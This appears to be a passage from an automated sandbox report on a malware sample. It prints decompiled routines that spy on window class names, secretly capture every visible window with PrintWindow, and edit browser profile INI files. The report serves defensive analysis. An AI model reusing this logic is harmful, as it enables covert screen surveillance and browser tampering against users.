									__eflags = _t97 - 0x68;
									if(_t97 != 0x68) {
										goto L27;
									} else {
										__eflags = _v204 - 0x72;
										if(_v204 != 0x72) {
											goto L27;
										} else {
											__eflags = _v202 - 0x6f;
											if(_v202 != 0x6f) {
												goto L27;
											} else {
												__eflags = _v200 - 0x6d;
												if(_v200 != 0x6d) {
													goto L27;
												} else {
													__eflags = _t101 - 0x65;
													if(_t101 != 0x65) {
														goto L27;
													} else {
														__eflags = _v196 - 0x5f;
														if(_v196 != 0x5f) {
															goto L27;
														} else {
															__eflags = _v194 - 0x57;
															if(_v194 != 0x57) {
																goto L27;
															} else {
																__eflags = _v192 - 0x69;
																if(_v192 != 0x69) {
																	goto L27;
																} else {
																	__eflags = _v190 - 0x64;
																	if(_v190 != 0x64) {
																		goto L27;
																	} else {
																		__eflags = _v188 - 0x67;
																		if(_v188 != 0x67) {
																			goto L27;
																		} else {
																			__eflags = _v186 - _t101;
																			if(_v186 != _t101) {
																				goto L27;
																			} else {
																				__eflags = _v184 - 0x74;
																				if(_v184 != 0x74) {
																					goto L27;
																				} else {
																					__eflags = _v182 - 0x57;
																					if(_v182 != 0x57) {
																						goto L27;
																					} else {
																						__eflags = _v180 - 0x69;
																						if(_v180 != 0x69) {
																							goto L27;
																						} else {
																							__eflags = _v178 - 0x6e;
																							if(_v178 != 0x6e) {
																								goto L27;
																							} else {
																								__eflags = _v176 - 0x5f;
																								if(_v176 != 0x5f) {
																									goto L27;
																								} else {
																									return 0x40;
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						} else {
							_t89 = lstrcmpW( &_v208,  *0xfd6784);
							__eflags = _t89;
							if(_t89 != 0) {
								goto L30;
							} else {
								return 0x20;
							}
						}
					} else {
						_t92 = lstrcmpW( &_v208,  *0xfd6780);
						__eflags = _t92;
						if(_t92 != 0) {
							L30:
							_t101 = _v198;
							_t97 = _v206;
							_t47 = _v208;
							L32:
							__eflags = _t47 - 0x53;
							if(_t47 != 0x53) {
								L39:
								__eflags = _t102 - 6;
								L40:
								if(__eflags != 0) {
									__eflags = _t102 - 9;
									if(_t102 != 9) {
										goto L46;
									} else {
										_t78 = lstrcmpW( &_v208,  *0xfd67a0);
										__eflags = _t78;
										if(_t78 != 0) {
											goto L46;
										} else {
											return 8;
										}
									}
								} else {
									_t81 = lstrcmpW( &_v208,  *0xfd679c);
									__eflags = _t81;
									if(_t81 != 0) {
										L46:
										_t48 = GetWindowLongA(_t95, 0xffffffec);
										__eflags = _t48 & 0x00000040;
										if((_t48 & 0x00000040) == 0) {
											__eflags = _t102 - 0xd;
											if(_t102 != 0xd) {
												__eflags = _t102 - 6;
												if(_t102 != 6) {
													goto L71;
												} else {
													_t51 = lstrcmpiW( &_v208,  *0xfd67ac);
													__eflags = _t51;
													if(_t51 != 0) {
														goto L71;
													} else {
														_t52 = GetParent(_t95);
														__eflags = _t52;
														if(_t52 == 0) {
															goto L71;
														} else {
															_t54 = GetClassNameW(_t52,  &_v104, 0x32);
															__eflags = GetClassNameW - 0x10;
															if(GetClassNameW != 0x10) {
																__eflags = _t54 - 0x1a;
																if(_t54 == 0x1a) {
																	_push( *0xfd6794);
																	goto L69;
																}
																goto L71;
															} else {
																_t58 = lstrcmpiW( &_v116,  *0xfd6790);
																__eflags = _t58;
																if(_t58 == 0) {
																	goto L70;
																} else {
																	return _t105;
																}
															}
														}
													}
												}
											} else {
												_t61 = lstrcmpiW( &_v208,  *0xfd67a4);
												__eflags = _t61;
												if(_t61 != 0) {
													_t63 = lstrcmpiW( &_v208,  *0xfd67a8);
													__eflags = _t63;
													if(_t63 != 0) {
														goto L71;
													} else {
														_t64 = GetParent(_t95);
														__eflags = _t64;
														if(_t64 == 0) {
															goto L71;
														} else {
															_t66 = GetClassNameW(_t64,  &_v104, 0x32);
															__eflags = GetClassNameW - 0xa;
															if(GetClassNameW != 0xa) {
																__eflags = _t66 - 0x12;
																if(_t66 == 0x12) {
																	_push( *0xfd678c);
																	L69:
																	_t56 = lstrcmpiW( &_v116, ??);
																	__eflags = _t56;
																	if(_t56 == 0) {
																		goto L70;
																	}
																}
																goto L71;
															} else {
																_t68 = lstrcmpiW( &_v116,  *0xfd6788);
																__eflags = _t68;
																if(_t68 == 0) {
																	L70:
																	_t105 = 0x100;
																	goto L71;
																} else {
																	return _t105;
																}
															}
														}
													}
												} else {
													_t105 = 0x800;
													_t70 = GetParent(_t95);
													__eflags = _t70;
													if(_t70 == 0) {
														L71:
														return _t105;
													} else {
														_t72 = GetClassNameW(_t70,  &_v104, 0x32);
														__eflags = _t72 - 0x14;
														if(_t72 != 0x14) {
															goto L71;
														} else {
															_t74 = lstrcmpiW( &_v116,  *0xfd6798);
															__eflags = _t74;
															if(_t74 != 0) {
																goto L71;
															} else {
																return 0xa00;
															}
														}
													}
												}
											}
										} else {
											return 0x10;
										}
									} else {
										return 4;
									}
								}
							} else {
								__eflags = _t97 - 0x75;
								if(_t97 != 0x75) {
									goto L39;
								} else {
									__eflags = _v204 - 0x6e;
									if(_v204 != 0x6e) {
										goto L39;
									} else {
										__eflags = _v202 - 0x41;
										if(_v202 != 0x41) {
											goto L39;
										} else {
											__eflags = _v200 - 0x77;
											if(_v200 != 0x77) {
												goto L39;
											} else {
												__eflags = _t101 - 0x74;
												if(_t101 != 0x74) {
													goto L39;
												} else {
													return 2;
												}
											}
										}
									}
								}
							}
						} else {
							return 1;
						}
					}
				} else {
					return 0x400;
				}
			}

0x00fca27a
0x00fca281
0x00fca283
0x00fca299
0x00fca2bf
0x00fca2c1
0x00fca2c4
0x00fca2ed
0x00fca2f0
0x00fca319
0x00fca31e
0x00fca323
0x00fca328
0x00fca32b
0x00fca3cc
0x00fca3cc
0x00fca3cf
0x00fca405
0x00fca408
0x00000000
0x00000000
0x00000000
0x00000000
0x00fca3d1
0x00fca3dc
0x00fca3de
0x00fca3e0
0x00000000
0x00fca3e2
0x00fca3f3
0x00fca3f3
0x00fca3e0
0x00fca331
0x00fca331
0x00fca335
0x00000000
0x00fca33b
0x00fca33b
0x00fca33f
0x00000000
0x00fca345
0x00fca345
0x00fca34b
0x00000000
0x00fca34d
0x00fca34d
0x00fca353
0x00000000
0x00fca355
0x00fca355
0x00fca35b
0x00000000
0x00fca35d
0x00fca35d
0x00fca361
0x00000000
0x00fca363
0x00fca363
0x00fca369
0x00000000
0x00fca36b
0x00fca36b
0x00fca371
0x00000000
0x00fca373
0x00fca373
0x00fca379
0x00000000
0x00fca37b
0x00fca37b
0x00fca381
0x00000000
0x00fca383
0x00fca383
0x00fca389
0x00000000
0x00fca38b
0x00fca38b
0x00fca390
0x00000000
0x00fca392
0x00fca392
0x00fca398
0x00000000
0x00fca39a
0x00fca39a
0x00fca3a0
0x00000000
0x00fca3a2
0x00fca3a2
0x00fca3a8
0x00000000
0x00fca3aa
0x00fca3aa
0x00fca3b0
0x00000000
0x00fca3b2
0x00fca3b2
0x00fca3b8
0x00000000
0x00fca3ba
0x00fca3cb
0x00fca3cb
0x00fca3b8
0x00fca3b0
0x00fca3a8
0x00fca3a0
0x00fca398
0x00fca390
0x00fca389
0x00fca381
0x00fca379
0x00fca371
0x00fca369
0x00fca361
0x00fca35b
0x00fca353
0x00fca34b
0x00fca33f
0x00fca335
0x00fca2f2
0x00fca2fd
0x00fca2ff
0x00fca301
0x00000000
0x00fca307
0x00fca318
0x00fca318
0x00fca301
0x00fca2c6
0x00fca2d1
0x00fca2d3
0x00fca2d5
0x00fca3f4
0x00fca3f4
0x00fca3f9
0x00fca3fe
0x00fca40a
0x00fca40a
0x00fca40e
0x00fca446
0x00fca446
0x00fca449
0x00fca449
0x00fca46e
0x00fca471
0x00000000
0x00fca473
0x00fca47e
0x00fca480
0x00fca482
0x00000000
0x00fca484
0x00fca495
0x00fca495
0x00fca482
0x00fca44b
0x00fca456
0x00fca458
0x00fca45a
0x00fca496
0x00fca499
0x00fca49f
0x00fca4a1
0x00fca4b5
0x00fca4b8
0x00fca58f
0x00fca592
0x00000000
0x00fca594
0x00fca5a5
0x00fca5a7
0x00fca5a9
0x00000000
0x00fca5ab
0x00fca5ac
0x00fca5b2
0x00fca5b4
0x00000000
0x00fca5b6
0x00fca5c3
0x00fca5c5
0x00fca5c8
0x00fca5e8
0x00fca5eb
0x00fca5ed
0x00000000
0x00fca5ed
0x00000000
0x00fca5ca
0x00fca5d5
0x00fca5d7
0x00fca5d9
0x00000000
0x00fca5db
0x00fca5e7
0x00fca5e7
0x00fca5d9
0x00fca5c8
0x00fca5b4
0x00fca5a9
0x00fca4be
0x00fca4cf
0x00fca4d1
0x00fca4d3
0x00fca533
0x00fca535
0x00fca537
0x00000000
0x00fca53d
0x00fca53e
0x00fca544
0x00fca546
0x00000000
0x00fca54c
0x00fca559
0x00fca55b
0x00fca55e
0x00fca582
0x00fca585
0x00fca587
0x00fca5f3
0x00fca5f8
0x00fca5fa
0x00fca5fc
0x00000000
0x00000000
0x00fca5fc
0x00000000
0x00fca560
0x00fca56b
0x00fca56d
0x00fca56f
0x00fca5fe
0x00fca5fe
0x00000000
0x00fca575
0x00fca581
0x00fca581
0x00fca56f
0x00fca55e
0x00fca546
0x00fca4d5
0x00fca4d6
0x00fca4db
0x00fca4e1
0x00fca4e3
0x00fca604
0x00fca60f
0x00fca4e9
0x00fca4f6
0x00fca4f8
0x00fca4fb
0x00000000
0x00fca501
0x00fca50c
0x00fca50e
0x00fca510
0x00000000
0x00fca516
0x00fca527
0x00fca527
0x00fca510
0x00fca4fb
0x00fca4e3
0x00fca4d3
0x00fca4a3
0x00fca4b4
0x00fca4b4
0x00fca45c
0x00fca46d
0x00fca46d
0x00fca45a
0x00fca410
0x00fca410
0x00fca414
0x00000000
0x00fca416
0x00fca416
0x00fca41c
0x00000000
0x00fca41e
0x00fca41e
0x00fca424
0x00000000
0x00fca426
0x00fca426
0x00fca42c
0x00000000
0x00fca42e
0x00fca42e
0x00fca432
0x00000000
0x00fca434
0x00fca445
0x00fca445
0x00fca432
0x00fca42c
0x00fca424
0x00fca41c
0x00fca414
0x00fca2db
0x00fca2ec
0x00fca2ec
0x00fca2d5
0x00fca29b
0x00fca2aa
0x00fca2aa

APIs

PtInRect.USER32(00FD63A4,?,?), ref: 00FCA291
GetClassNameW.USER32 ref: 00FCA2B3
lstrcmpW.KERNEL32(?,?,?), ref: 00FCA2D1

Strings

i, xrefs: 00FCA3A2
W, xrefs: 00FCA36B
_, xrefs: 00FCA363
g, xrefs: 00FCA383
d, xrefs: 00FCA37B
n, xrefs: 00FCA416
w, xrefs: 00FCA426
t, xrefs: 00FCA392
i, xrefs: 00FCA373
_, xrefs: 00FCA3B2
A, xrefs: 00FCA41E
n, xrefs: 00FCA3AA
W, xrefs: 00FCA39A

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: ClassNameRectlstrcmp
String ID: A$W$W$_$_$d$g$i$i$n$n$t$w
API String ID: 2219266907-4138477769
Opcode ID: 2a5ed84748ab69cc47115c1e5ba44840496660ae25cb24387af0c37d2eef1b49
Instruction ID: a048f5b9e92f862a4a17c8eb4c9fe89b00f29b4141ca9e6b7375052501449802
Opcode Fuzzy Hash: 2a5ed84748ab69cc47115c1e5ba44840496660ae25cb24387af0c37d2eef1b49
Instruction Fuzzy Hash: 5991D732F0020F46DF209B68ED45FAAB395E79437DF40493AE904D3150E66AED8D6363

Uniqueness

Uniqueness Score: -1.00%

Function 00FCA850 Relevance: 49.8, APIs: 33, Instructions: 345
windowmemorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00FCA850(short __ecx) {
				signed int _v44;
				long _v48;
				short _v52;
				struct tagRECT _v68;
				struct HDC__* _v72;
				int _v76;
				int _v80;
				int _v84;
				struct HDC__* _v88;
				struct HDC__* _v92;
				int _v96;
				int _v100;
				intOrPtr _v104;
				struct HDC__* _v120;
				signed int _v124;
				short _v128;
				int _v132;
				intOrPtr* _v136;
				void* _t73;
				long _t74;
				signed int _t75;
				long _t76;
				struct HDC__* _t80;
				struct HWND__* _t81;
				signed int _t87;
				void* _t91;
				intOrPtr* _t93;
				void* _t96;
				void* _t98;
				void* _t99;
				intOrPtr _t110;
				signed int _t111;
				void* _t120;
				void* _t131;
				int _t133;
				struct HDC__* _t136;
				signed char _t137;
				struct HDC__* _t139;
				signed int _t141;
				intOrPtr _t143;
				signed int _t145;
				void* _t152;
				void* _t153;
				void* _t155;
				signed int _t157;
				int _t164;
				struct HDC__* _t165;
				intOrPtr _t167;
				void* _t168;
				char _t171;
				long _t174;
				signed int _t175;
				struct HDC__* _t176;
				int _t178;
				int _t179;
				void* _t180;
				struct HWND__* _t183;
				int _t184;
				intOrPtr _t186;
				int _t187;
				void* _t189;
				void* _t208;
				void* _t213;

				_t165 =  *0xfda6b4;
				_v52 = __ecx;
				_t186 =  *0xfd63f4; // 0x0
				if(_t165 != 0) {
					L2:
					_t136 =  *0xfd7764; // 0x0
					_v72 = _t136;
					if(_t136 != 0) {
						L5:
						_t73 =  *0xfd776c; // 0x0
						_v68.top = _t73;
						if(_t73 != 0) {
							L9:
							_t141 =  *0xfd6574; // 0x0
							_t74 =  *(0xfd76a0 + _t141 * 4) & 0x0000ffff;
							_v68.left = _t74;
							_t75 =  *(0xfd76a2 + _t141 * 4) & 0x0000ffff;
							_v76 = _t75;
							_t76 =  *0xfda6b0;
							_v48 = _t74;
							_v44 = _t75;
							if(_t76 != 0) {
								L11:
								SelectObject(_t136, _t76);
								_t178 = _v84;
								Rectangle(_t136, 0, 0, _v76, _t178);
							} else {
								_t76 = CreateSolidBrush(_t76);
								 *0xfda6b0 = _t76;
								if(_t76 == 0) {
									_t178 = _v80;
								} else {
									goto L11;
								}
							}
							if(_t186 == 0) {
								_v88 =  *0xfda6b4;
								_t80 =  *0xfd7764; // 0x0
								_v84 = _t80;
								_t81 = GetTopWindow(0);
								if(_t81 != 0) {
									_t183 = GetWindow(_t81, 1);
									if(_t183 != 0) {
										_t139 = _v88;
										do {
											if(IsWindowVisible(_t183) != 0) {
												if(GetWindowRect(_t183,  &_v68) != 0) {
													_t176 = CreateCompatibleDC(_t139);
													_t189 = CreateCompatibleBitmap(_t139, _v68.top - _v72, _v68.right - _v68.left);
													_t120 = SelectObject(_t176, _t189);
													__imp__PrintWindow(_t183, _t176,  *0xfd5000);
													if(_t120 != 0) {
														BitBlt(_v120, _v104 -  *0xfd6418, _v100, _v96 - _v104, _v92 - _v100, _t176, 0, 0, 0x40cc0020);
													}
													DeleteObject(_t189);
													DeleteDC(_t176);
												}
												_t110 =  *0xfd5000; // 0x2
												_t157 = 0 | _t110 == 0x00000000;
												if(_t110 == 0) {
													if(_t157 != 0) {
														goto L28;
													}
												} else {
													if(GetClassNameW(_t183,  &_v52, 0xa) == 6 && lstrcmpW( &_v52,  *0xfd679c) == 0) {
														L28:
														_t111 = GetWindowLongA(_t183, 0xffffffec);
														if((_t111 & 0x02000000) == 0) {
															SetWindowLongA(_t183, 0xffffffec, _t111 | 0x02000000);
														}
													}
												}
											}
											_t183 = GetWindow(_t183, 3);
										} while (_t183 != 0);
										_t136 = _v100;
									}
								}
							} else {
								BitBlt( *0xfd7764,  *0xfd6418, 0, _v96, _t178, GetDC(0), 0, 0, 0xcc0020);
							}
							SelectObject(_t136,  *0xfd7768);
							_t143 =  *0xfd65e8; // 0x0
							_t167 =  *0xfd65e4; // 0x0
							_t168 = _t167 -  *0xfd6418;
							_t40 = _t143 + 2; // 0x2
							_t41 = _t168 + 2; // -16606230
							_t42 = _t168 - 2; // -16606234
							Rectangle(_t136, _t42, _t143 - 2, _t41, _t40);
							_t145 = _v124;
							_t179 = 1;
							_t87 = _v132;
							 *0xfd6550 = _t87;
							 *0xfd654c = _t145;
							 *0xfd655c = _t87 * _t145 + _t87 * _t145 * 2;
							_t91 =  *0xfd6424; // 0x0
							_t174 = ( *0xfd7488 & 0x0000ffff) * ( *0xfd748a & 0x0000ffff) + ( *0xfd7488 & 0x0000ffff) * ( *0xfd748a & 0x0000ffff) * 2;
							if(_t91 == 0) {
								_t98 =  *0xfd653c; // 0x0
								if(_t98 != 0) {
									VirtualFree(_t98, 0, 0x8000);
								}
								_t99 =  *0xfd641c; // 0x0
								if(_t99 != 0) {
									VirtualFree(_t99, 0, 0x8000);
								}
								 *0xfd6424 = VirtualAlloc(0, _t174, 0x3000, 4);
								 *0xfd653c = VirtualAlloc(0, _t174, 0x3000, 4);
								 *0xfd641c = VirtualAlloc(0, _t174, 0x3000, 4);
								_t179 = 0;
								_t91 =  *0xfd6424; // 0x0
							}
							GetDIBits(_t136, _v120, 0, _v132, _t91, 0xfd6548, 0);
							_t93 = _v136;
							 *_t93 = 0;
							 *((short*)(_t93 + 4)) = _v132;
							 *((short*)(_t93 + 6)) = _v128;
							if(_t179 == 0) {
								E00FC1000( *0xfd653c,  *0xfd6424,  *0xfd655c);
								goto L51;
							} else {
								_t96 = 0;
								_t187 = 1;
								_t208 =  *0xfd655c - _t96; // 0x0
								if(_t208 <= 0) {
									goto L49;
								} else {
									asm("o16 nop [eax+eax]");
									do {
										_t180 =  *0xfd6424; // 0x0
										_t137 =  *((intOrPtr*)(_t180 + _t96 + 2));
										if(( *(_t180 + _t96) & 0x0000ffff) + (_t137 & 0x000000ff) == 0) {
											 *((char*)(_t180 + _t96 + 2)) = _t137 + 1;
											_t180 =  *0xfd6424; // 0x0
										}
										_t152 =  *0xfd653c; // 0x0
										_t175 =  *(_t180 + _t96) & 0x0000ffff;
										_t171 =  *((intOrPtr*)(_t180 + _t96 + 2));
										if(_t175 !=  *(_t152 + _t96) || _t171 !=  *((intOrPtr*)(_t152 + _t96 + 2))) {
											_t187 = 0;
										} else {
											 *(_t180 + _t96) = 0;
											_t155 =  *0xfd6424; // 0x0
											 *((char*)(_t155 + _t96 + 2)) = 0;
											_t152 =  *0xfd653c; // 0x0
										}
										 *(_t152 + _t96) = _t175;
										_t153 =  *0xfd653c; // 0x0
										 *((char*)(_t153 + _t96 + 2)) = _t171;
										_t96 = _t96 + 3;
										_t213 = _t96 -  *0xfd655c; // 0x0
									} while (_t213 < 0);
									if(_t187 == 0) {
										L51:
										return 1;
									} else {
										goto L49;
									}
								}
							}
						} else {
							_t164 =  *0xfd7488 & 0x0000ffff;
							_t184 =  *0xfd748a & 0x0000ffff;
							if(_t184 + _t164 == 0) {
								goto L49;
							} else {
								_t131 = CreateCompatibleBitmap(_t165, _t164, _t184);
								 *0xfd776c = _t131;
								if(_t131 == 0) {
									goto L49;
								} else {
									SelectObject( *0xfd7764, _t131);
									_t136 =  *0xfd7764; // 0x0
									_t133 =  *0xfd776c; // 0x0
									_v92 = _t136;
									_v84 = _t133;
									goto L9;
								}
							}
						}
					} else {
						_t136 = CreateCompatibleDC(_t165);
						_v76 = _t136;
						 *0xfd7764 = _t136;
						if(_t136 == 0) {
							goto L49;
						} else {
							_t165 =  *0xfda6b4;
							goto L5;
						}
					}
				} else {
					_t165 = GetDC(0);
					 *0xfda6b4 = _t165;
					if(_t165 == 0) {
						L49:
						return 0;
					} else {
						goto L2;
					}
				}
			}

0x00fca853
0x00fca859
0x00fca85f
0x00fca86f
0x00fca885
0x00fca885
0x00fca88b
0x00fca891
0x00fca8b4
0x00fca8b4
0x00fca8bf
0x00fca8c5
0x00fca918
0x00fca918
0x00fca91e
0x00fca928
0x00fca92c
0x00fca936
0x00fca93a
0x00fca93f
0x00fca943
0x00fca949
0x00fca95b
0x00fca95d
0x00fca95f
0x00fca96d
0x00fca94b
0x00fca94c
0x00fca952
0x00fca959
0x00fca975
0x00000000
0x00000000
0x00000000
0x00fca959
0x00fca97b
0x00fca9ae
0x00fca9b2
0x00fca9b9
0x00fca9bd
0x00fca9c5
0x00fca9d6
0x00fca9da
0x00fca9e0
0x00fca9e4
0x00fca9ed
0x00fcaa01
0x00fcaa12
0x00fcaa29
0x00fcaa2d
0x00fcaa3b
0x00fcaa43
0x00fcaa71
0x00fcaa71
0x00fcaa78
0x00fcaa7f
0x00fcaa85
0x00fcaa8b
0x00fcaa94
0x00fcaa99
0x00fcaac7
0x00000000
0x00000000
0x00fcaa9b
0x00fcaaac
0x00fcaac9
0x00fcaacc
0x00fcaad7
0x00fcaae2
0x00fcaae2
0x00fcaad7
0x00fcaaac
0x00fcaa99
0x00fcaaed
0x00fcaaef
0x00fcaaf7
0x00fcaaf7
0x00fca9da
0x00fca97d
0x00fca99e
0x00fca99e
0x00fcab02
0x00fcab08
0x00fcab0e
0x00fcab14
0x00fcab1a
0x00fcab21
0x00fcab26
0x00fcab2b
0x00fcab31
0x00fcab35
0x00fcab3a
0x00fcab3e
0x00fcab46
0x00fcab56
0x00fcab65
0x00fcab6a
0x00fcab6f
0x00fcab71
0x00fcab7e
0x00fcab88
0x00fcab88
0x00fcab8a
0x00fcab91
0x00fcab9b
0x00fcab9b
0x00fcabb9
0x00fcabca
0x00fcabd1
0x00fcabd6
0x00fcabd8
0x00fcabd8
0x00fcabf0
0x00fcabf6
0x00fcabfc
0x00fcac02
0x00fcac0a
0x00fcac10
0x00fcacbf
0x00000000
0x00fcac16
0x00fcac16
0x00fcac18
0x00fcac1d
0x00fcac23
0x00000000
0x00fcac25
0x00fcac25
0x00fcac30
0x00fcac30
0x00fcac36
0x00fcac43
0x00fcac47
0x00fcac4b
0x00fcac4b
0x00fcac51
0x00fcac57
0x00fcac5b
0x00fcac63
0x00fcac84
0x00fcac6b
0x00fcac6d
0x00fcac71
0x00fcac77
0x00fcac7c
0x00fcac7c
0x00fcac86
0x00fcac8a
0x00fcac90
0x00fcac94
0x00fcac97
0x00fcac97
0x00fcaca1
0x00fcacca
0x00fcacd3
0x00000000
0x00000000
0x00000000
0x00fcaca1
0x00fcac23
0x00fca8c7
0x00fca8c7
0x00fca8ce
0x00fca8da
0x00000000
0x00fca8e0
0x00fca8e3
0x00fca8e9
0x00fca8f0
0x00000000
0x00fca8f6
0x00fca903
0x00fca905
0x00fca90b
0x00fca910
0x00fca914
0x00000000
0x00fca914
0x00fca8f0
0x00fca8da
0x00fca893
0x00fca89a
0x00fca89c
0x00fca8a0
0x00fca8a8
0x00000000
0x00fca8ae
0x00fca8ae
0x00000000
0x00fca8ae
0x00fca8a8
0x00fca871
0x00fca875
0x00fca877
0x00fca87f
0x00fcaca3
0x00fcacac
0x00000000
0x00000000
0x00000000
0x00fca87f

APIs

GetDC.USER32(00000000), ref: 00FCA873
CreateCompatibleDC.GDI32(?), ref: 00FCA894
CreateCompatibleBitmap.GDI32(?,?,77A26910), ref: 00FCA8E3
SelectObject.GDI32(00000000), ref: 00FCA903
CreateSolidBrush.GDI32(?), ref: 00FCA94C
SelectObject.GDI32(00000000,?), ref: 00FCA95D
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00FCA96D
GetDC.USER32(00000000), ref: 00FCA988
BitBlt.GDI32(00000000,?,?,00000000,?,00000000), ref: 00FCA99E
GetTopWindow.USER32(00000000), ref: 00FCA9BD
GetWindow.USER32(00000000,00000001), ref: 00FCA9D4
IsWindowVisible.USER32 ref: 00FCA9E5
GetWindowRect.USER32 ref: 00FCA9F9
CreateCompatibleDC.GDI32(?), ref: 00FCAA08
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00FCAA23
SelectObject.GDI32(00000000,00000000), ref: 00FCAA2D
PrintWindow.USER32(00000000,00000000,?,00000000), ref: 00FCAA3B
BitBlt.GDI32(?,?,?,?,?,00000000,00000000,00000000,40CC0020), ref: 00FCAA71
DeleteObject.GDI32(00000000), ref: 00FCAA78
DeleteDC.GDI32(00000000), ref: 00FCAA7F
GetClassNameW.USER32 ref: 00FCAAA3
lstrcmpW.KERNEL32(?,?,00000000), ref: 00FCAAB9
GetWindowLongA.USER32 ref: 00FCAACC
SetWindowLongA.USER32 ref: 00FCAAE2
GetWindow.USER32(00000000,00000003), ref: 00FCAAEB
SelectObject.GDI32(00000000), ref: 00FCAB02
Rectangle.GDI32(00000000,-00FD641A,-00000002,-00FD6416,00000002), ref: 00FCAB2B
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000), ref: 00FCAB88
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000), ref: 00FCAB9B
VirtualAlloc.KERNEL32(00000000,775FAC70,00003000,00000004,?,00000000), ref: 00FCABAD
VirtualAlloc.KERNEL32(00000000,775FAC70,00003000,00000004,?,00000000), ref: 00FCABBE
VirtualAlloc.KERNEL32(00000000,775FAC70,00003000,00000004,?,00000000), ref: 00FCABCF
GetDIBits.GDI32(00000000,?,00000000,?,00000000,00FD6548,00000000), ref: 00FCABF0

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: Window$CreateObjectVirtual$CompatibleSelect$Alloc$BitmapDeleteFreeLongRectangle$BitsBrushClassNamePrintRectSolidVisiblelstrcmp
String ID:
API String ID: 664480546-0
Opcode ID: 982d4469951a01ae66e59b156f2eee1fb573b02001aaca3c95e83bb19c9cc5f7
Instruction ID: ffe5955343cdae277b2d8847ce93343f29a7c6f7b2d395a5cfac69f5969db77c
Opcode Fuzzy Hash: 982d4469951a01ae66e59b156f2eee1fb573b02001aaca3c95e83bb19c9cc5f7
Instruction Fuzzy Hash: C1D19C71A0530A9FC714DF34EE46F2ABBAAEB49714F04442EF901D7261E734E804EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00FC2C40 Relevance: 45.8, APIs: 25, Strings: 1, Instructions: 305
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00FC2C40(WCHAR* __ecx, WCHAR* __edx, intOrPtr _a4) {
				short _v544;
				short _v1064;
				short _v1584;
				short _v1688;
				short _v1792;
				char _v1812;
				intOrPtr _v1816;
				intOrPtr _v1820;
				WCHAR* _v1824;
				WCHAR* _v1828;
				intOrPtr _v1832;
				char _v1836;
				WCHAR* _v1840;
				WCHAR* _v1844;
				WCHAR* _v1848;
				void* _t76;
				signed char _t79;
				void* _t94;
				signed short _t100;
				signed short _t103;
				intOrPtr _t106;
				intOrPtr _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				intOrPtr _t110;
				signed char _t111;
				intOrPtr _t116;
				signed int _t143;
				signed int _t144;
				void* _t149;
				long _t150;
				void* _t153;
				WCHAR* _t154;
				short _t159;
				short _t160;
				WCHAR* _t167;
				short* _t172;
				WCHAR* _t173;
				short* _t174;
				WCHAR* _t175;
				signed int _t180;
				signed int _t181;
				char* _t186;
				void* _t187;
				WCHAR* _t188;
				signed int _t191;
				void* _t192;
				signed int _t195;
				void* _t196;
				signed int _t205;
				WCHAR* _t206;
				signed int _t209;
				signed int _t211;
				void* _t214;
				void* _t216;
				void* _t219;

				_t154 = __ecx;
				_t188 = __edx;
				_v1828 = __edx;
				_v1824 = __ecx;
				_t76 = E00FC10D0(__ecx, 0, 0x208);
				_t214 = (_t211 & 0xfffffff8) - 0x724 + 0xc;
				__imp__SHGetFolderPathW(0, 0x1a, 0, 0, _t154, _t187, _t196, _t153);
				if(_t76 != 0) {
					L36:
					return 0;
				} else {
					lstrcatW(_t154,  *0xfd68a4);
					_t79 = GetFileAttributesW(_t154);
					if(_t79 == 0xffffffff || (_t79 & 0x00000010) == 0) {
						goto L36;
					} else {
						lstrcpyW( &_v1064,  *0xfd68ac);
						if(_a4 != 2) {
							_push(L"d06ed635");
						} else {
							_t150 = GetTickCount();
							_t186 =  &_v1812;
							E00FC1290(_t150, _t150, _t186);
							_push(_t186);
						}
						lstrcatW( &_v1064, ??);
						lstrcpyW( &_v1584, _t154);
						lstrcatW( &_v1584,  *0xfd68a8);
						WritePrivateProfileStringW(L"d06ed635",  *0xfd68b0, 0xfcf2dc,  &_v1584);
						WritePrivateProfileStringW(L"d06ed635",  *0xfd68b4,  &_v1064,  &_v1584);
						E00FC10D0(_t188, 0, 0x208);
						_t94 = E00FC2A30( &_v1584,  &_v1688,  *0xfd68e0);
						_t216 = _t214 + 0x10;
						if(_t94 != 0) {
							L8:
							if(GetPrivateProfileStringW( &_v1688,  *0xfd68b4, 0,  &_v1792, 0x32,  &_v1584) != 0 || GetPrivateProfileStringW( &_v1688,  *0xfd6748, 0,  &_v1792, 0x32,  &_v1584) > 3) {
								lstrcpyW(_t188, _t154);
								_t100 = _v1792;
								_t180 = 0;
								if(_t100 != 0) {
									_t174 =  &_v1792;
									_t209 = _t100 & 0x0000ffff;
									_t26 = _t180 + 0x5c; // 0x5c
									_t160 = _t26;
									do {
										if(_t209 == 0x2f) {
